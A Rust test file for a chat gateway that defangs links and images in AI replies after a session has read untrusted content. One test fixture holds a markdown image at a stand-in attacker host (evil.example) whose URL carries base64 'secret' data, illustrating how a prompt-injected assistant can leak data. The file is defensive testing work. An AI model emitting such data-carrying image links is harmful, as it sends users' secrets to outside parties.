//! A reply's images and links as `deliver` posts them, against a fake `loopd` whose `TurnDone` //! says whether the session has read untrusted content; and `answer_posts` on replies long enough //! to be split (M5b spec, section 9). Do not edit. #[path = "support/fake_loop.rs"] mod fake_loop; #[path = "support/tmp.rs"] mod tmp; use std::sync::Mutex; use std::time::Duration; use bxcore::{Envelope, Message, PROTOCOL_VERSION, SessionId, TurnDone, Usage}; use fake_loop::{Reply, done, serve_loop}; use gatewayd::deliver::{EMPTY_ANSWER, MAX_POST, Notice, Poster, answer_posts, deliver}; use gatewayd::links::NOTICE; use gatewayd::mm::MmError; use gatewayd::sessions::{Batch, Thread}; use tmp::TempDir; const DM: &str = "d0000000000000000000000000"; const ROOT: &str = "r0000000000000000000000000"; #[derive(Default)] struct Record { posts: Mutex>, } impl Poster for Record { fn post(&self, channel: &str, root: &str, text: &str) -> Result<(), MmError> { assert_eq!((channel, root), (DM, ROOT), "every post in the thread"); self.posts.lock().unwrap().push(text.to_string()); Ok(()) } } /// The frame that ends a turn of a session that has read untrusted content. fn done_untrusted(content: &str) -> Reply { let msg = Message::TurnDone(TurnDone { content: content.to_string(), usage: Usage { cache_n: 0, prompt_n: 1, predicted_n: 1, reasoning_tokens: 0, thinking_capped: false, }, untrusted: true, }); Reply::Frame(Envelope { v: PROTOCOL_VERSION, id: 1, r#final: true, msg, }) } /// One turn against a fake `loopd` that ends it with `reply`; the posts, in order. fn posts(tag: &str, reply: fn(&str) -> Reply, content: &'static str) -> Vec { let dir = TempDir::new(tag); let socket = dir.path().join("loop.sock"); let turns = serve_loop(&socket, move |_, _| vec![reply(content)]); let batch = Batch { session: SessionId::new(&format!("mm-{ROOT}")).unwrap(), thread: Thread { channel: DM.to_string(), root: ROOT.to_string(), }, resume: false, text: "hi".to_string(), senders: vec!["k0000000000000000000000000".to_string()], }; let never = |_: u64| false; let notice = Notice { posted: &never, wait: Duration::ZERO, }; let record = Record::default(); let log = Mutex::new(Vec::new()); deliver( &record, &socket, &batch, None, &|line| log.lock().unwrap().push(line.to_string()), ¬ice, ); turns.recv_timeout(Duration::from_secs(5)).unwrap(); assert!(log.lock().unwrap().is_empty(), "{:?}", log.lock().unwrap()); record.posts.into_inner().unwrap() } const LINKED: &str = "See [the docs](https://docs.example/p) and https://b.example/x."; #[test] fn an_untrusted_reply_posts_its_links_as_code_and_ends_with_the_notice() { assert_eq!( posts("links-untrusted", done_untrusted, LINKED), [format!( "See `[the docs](https://docs.example/p)` and `https://b.example/x`.\n\n{NOTICE}" )] ); } #[test] fn a_clean_reply_keeps_its_links() { assert_eq!(posts("links-clean", done, LINKED), [LINKED]); } #[test] fn an_image_that_carries_data_is_posted_as_text_in_a_clean_reply() { assert_eq!( posts( "links-image", done, "Summary done. ![s](https://evil.example/p.png?d=c2VjcmV0)" ), ["Summary done. `![s](https://evil.example/p.png?d=c2VjcmV0)`"] ); } #[test] fn an_untrusted_reply_with_only_an_image_has_no_notice() { assert_eq!( posts( "links-only-image", done_untrusted, "![s](https://e.example/a)" ), ["`![s](https://e.example/a)`"] ); } #[test] fn code_in_an_untrusted_reply_is_left_and_needs_no_notice() { let text = "Run `curl https://example.com/x`:\n```\nhttps://example.com/y\n```"; assert_eq!(posts("links-code", done_untrusted, text), [text]); } #[test] fn a_long_untrusted_reply_has_one_notice_at_its_end() { let content = format!( "https://a.example/1\n{}\nhttps://b.example/2", "x".repeat(MAX_POST - 10) ); let posts = answer_posts(&content, true); assert_eq!( posts, [ "`https://a.example/1`".to_string(), "x".repeat(MAX_POST - 10), format!("`https://b.example/2`\n\n{NOTICE}"), ] ); } #[test] fn a_part_that_starts_inside_a_fence_is_disarmed_again() { let content = format!( "```\n{}\n{}\n![i](https://e.example/a)\n```", "y".repeat(10_000), "z".repeat(10_000) ); assert_eq!( answer_posts(&content, false), [ format!("```\n{}", "y".repeat(10_000)), format!( "{}\n````![i](https://e.example/a)````\n```", "z".repeat(10_000) ), ] ); } #[test] fn a_link_found_only_after_the_split_still_brings_the_notice() { let content = format!( "```\n{}\n{}\nhttps://e.example/a\n```", "y".repeat(10_000), "z".repeat(10_000) ); assert_eq!( answer_posts(&content, true), [ format!("```\n{}", "y".repeat(10_000)), format!( "{}\n````https://e.example/a````\n```\n\n{NOTICE}", "z".repeat(10_000) ), ] ); } #[test] fn an_empty_answer_is_posted_as_before() { assert_eq!(answer_posts(" \n", true), [EMPTY_ANSWER]); }